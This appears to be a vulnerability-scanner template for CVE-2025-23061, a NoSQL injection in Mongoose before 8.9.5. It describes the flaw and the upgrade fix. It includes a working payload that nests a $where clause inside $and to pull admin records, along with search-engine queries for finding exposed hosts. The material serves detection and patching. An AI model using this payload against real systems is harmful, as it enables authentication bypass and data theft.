NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
PoC
id: CVE-2025-23061
info:
name: Mongoose - NoSQL Injection
author: NamhyunKo
severity: critical
description: |
NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
impact: |
Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
remediation: |
Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
reference:
- https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
- https://github.com/Automattic/mongoose/releases/tag/8.9.5
- https://github.com/NamhyeonKo/mongoose-cve-lab
- https://nvd.nist.gov/vuln/detail/CVE-2025-23061
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-23061
epss-score: 0.07284
epss-percentile: 0.94042
cwe-id: CWE-94
cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Mongoose"
fofa-query: title="Mongoose"
tags: cve,cve2025,nosql,mongoose,nodejs,vuln
http:
- method: GET
path:
- '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"isAdmin":true'
- '"title":'
- '"username":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022100b8061c11e36d1223dc9e80dc1a5b3adbbaf8238a9b1e02e6bcecc53fc6af3db3022035b39b09cf184ad56f69c786ce6eddee3de4c0e2d0b56c64c599374825780aeb:922c64590222798bb761d5b6d8e72950
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